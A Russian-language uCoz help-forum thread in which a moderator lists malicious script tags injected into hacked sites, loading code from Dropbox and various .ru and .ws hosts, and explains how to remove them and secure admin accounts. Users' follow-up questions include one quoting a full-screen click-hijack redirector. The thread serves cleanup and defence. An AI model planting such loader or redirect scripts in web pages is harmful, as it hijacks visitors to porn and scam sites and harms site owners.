Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
irjkf3
Сообщений: 3
Репутация: 0

Сообщение # 421 | 17:09:07
Здравствуйте! Помогите , пожалуйста, убрать рекламу с сайта ОУ. http://buzuluk-school3.ucoz.ru/. Писали письмо. Ответ был, что сняли баннер. Но все выплывает.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 422 | 20:58:32
irjkf3, панель управления - редактор страниц - управление страницами сайта - главная страница - напротив главной нажмите на разводной ключ - страница откроется на редактирование - найдите и удалите скрипт

Код
<script language="javascript" charset="UTF-8" type="text/javascript" src="http://muramin.ru/60aqrhlque38q41wv6edsm8mpp892q24w7sm7gm009p86p6r8dqe8t299fg7gh19p63hf0m?6h15nhg4=7a86"></script>


сохраните страницу

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
irjkf3
Сообщений: 3
Репутация: 0

Сообщение # 423 | 19:05:43
Спасибо Вам огромное! Кажется все получилось.

Добавлено (22 Фев 2016, 19:05:43)
---------------------------------------------
Здравствуйте! А вы по другим вопросам консультируете?

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 424 | 19:10:54
irjkf3, как ответить на ваш вопрос не имея понятия что вы хотите спросить. спрашивайте

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Валентина5941
Сообщений: 17
Репутация: 0

Сообщение # 425 | 17:27:48
Добрый день! Подскажите,вот такая реклама на моем сайте выскакивает на мобильных устройствах. Это реклама Юкоса? Или ее можно удалить как в этой теме написано?
Прикрепления: 5119567.jpg (20.3 Kb) · 3814295.jpg (52.8 Kb) · 5728102.jpg (42.9 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 426 | 17:31:50
Валентина5941, нужно оплатить пакет услуг базовый чтобы не было рекламы для мобильных устройств

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
SkyFfs
Сообщений: 143
Репутация: 98

Сообщение # 427 | 17:32:34
Валентина5941, это реклама юкоза, убрать её можно оплатив пакет базовый и выше.
Сообщение отредактировал SkyFfs - Вторник, 23 Фев 2016, 17:36:46
admin9617
Сообщений: 1
Репутация: 0

Сообщение # 428 | 16:38:12
Добрый день, помогите с проблемой. Вот два сайта: http://tiger-spb.ucoz.ru/, http://fitness-trainer.ucoz.ru/ - они перестали выводиться в писке Яндекса. Служба поддержки Яндекса ссылается на наличие на сайтах скрипта:
Код
<script type="text/javascript">
(function() {
var redirectorCallback = function(event) {
// window.location.href='http://vipsunbas.ru/?key=9296d25efa9392e';
window.location='http://sys000.ucoz.net/canalyzer/?c=audit_mrdr&l=http%3A%2F%2Fvipsunbas.ru%2F%3Fkey%3D9296d25efa9392e&t=2&p=mts&referer='+escape(document.referrer)+'&url='+escape(document.URL)+'&'+Math.random();
};
var overlay = document.createElement('div');
overlay.style.position = 'fixed';
overlay.style.top = 0;
overlay.style.right = 0;
overlay.style.bottom = 0;
overlay.style.left = 0;
overlay.style.zIndex = 100000;
if( document.documentElement ) {
document.documentElement.appendChild(overlay);
if( overlay.addEventListener ) {
overlay.addEventListener('click', redirectorCallback);
} else if( overlay.attachEvent ) {
document.attachEvent('onclick', redirectorCallback);
};
};
};));
</script><html>
.

На страницах сайта http://fitness-trainer.ucoz.ru/ - вообще не используются скрипты, при этом я еще раз проверила все страницы на наличие скриптов. Ну нет их, и не было. На сайте http://tiger-spb.ucoz.ru/ - только три скрипта, смена картинки, и стандартные скрипты статистики Яндекса и Майла.
Помогите решить проблему.
Заранее спасибо.
tsnzvezda
Сообщений: 2
Репутация: 0

Сообщение # 429 | 12:44:22
Добрый день, помогите, пожалуйста, убрать всплывающую рекламу не ucoz'а с сайта http://sntzvezda.3dn.ru .
Захожу по Вашим рекомендациям в "быструю замену" - там везде пусто. Помогите , пожалуйста, решить проблему !
Заранее благодарю за помощь !

Добавлено (23 Мар 2016, 12:44:22)
---------------------------------------------
Извините, не отформатировала текст, чтобы было удобно читать.
Хочу добавить, реклама появляется , когда заходят все, кроме меня, а я (Админ), эту рекламу, закрывающую центр экрана и на которую мне все жалуются, не вижу.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 430 | 17:10:46
tsnzvezda, укажите страницы, где всплывает баннер не юкоз и лучше всего сделайте скриншот этого баннера

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
tsnzvezda
Сообщений: 2
Репутация: 0

Сообщение # 431 | 14:51:55
webanet , я рекламу не вижу, вижу только Вашу, но это нормально и она не мешает. Попрошу кого-нибудь из пользователей сделать скриншот. Меня , как Админа, замучили жалобы, что при открытии сайта и каждой страницы сайта в центре экрана появляется видео-реклама какой-то игры или казино Вулкан и нужно долго ждать, когда она не пройдет.
Вчера я еще в настройках отключила видео... на всякий случай.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 432 | 16:04:07
tsnzvezda,
Цитата
Вчера я еще в настройках отключила видео... на всякий случай
может пользователи и видели это видео, которое вы отключили. в любом случае, если жалобы продолжаться требуйте скриншоты. проверила ещё раз ваш сайт, на тех, страницах, где я смотрела все чисто и код чистый

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Яровое2013
Сообщений: 1
Репутация: 0

Сообщение # 433 | 11:05:53
Здраствуйте! помогите пожалуста при открытии моего сайта http://iarovoe.ucoz.com/ выходит окно которое которое отправляет кудато проверяла на вирусы яндекс и гугл вроде не блокируют проверяла через планшет мужа пишут то обновите браузер то вирус испортил баттарею
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 434 | 12:35:20
Яровое2013, то что вы описываете является рекламой для мобильных устройств. вам стоит отключить рекламу на сайте. инструкция http://manual.ucoz.net/board/36-1-0-370 приобретение пакета базовый и выше полностью снимет рекламу с вашего сайта

проверьте ещё раз отображение сайта с планшета и напишите будет ли переброс на другие сайты

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
VMariush
Сообщений: 7
Репутация: 2

Сообщение # 435 | 10:39:35
Добрый день. Сайт tsimp.ru. Вдруг откуда-то появилась куча рекламных баннеров всплывающих. С панелью управления никаких манипуляций за последний месяц не проводилось. В коде полностью отсутствуют сторонние скрипты, но баннеры есть.

Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: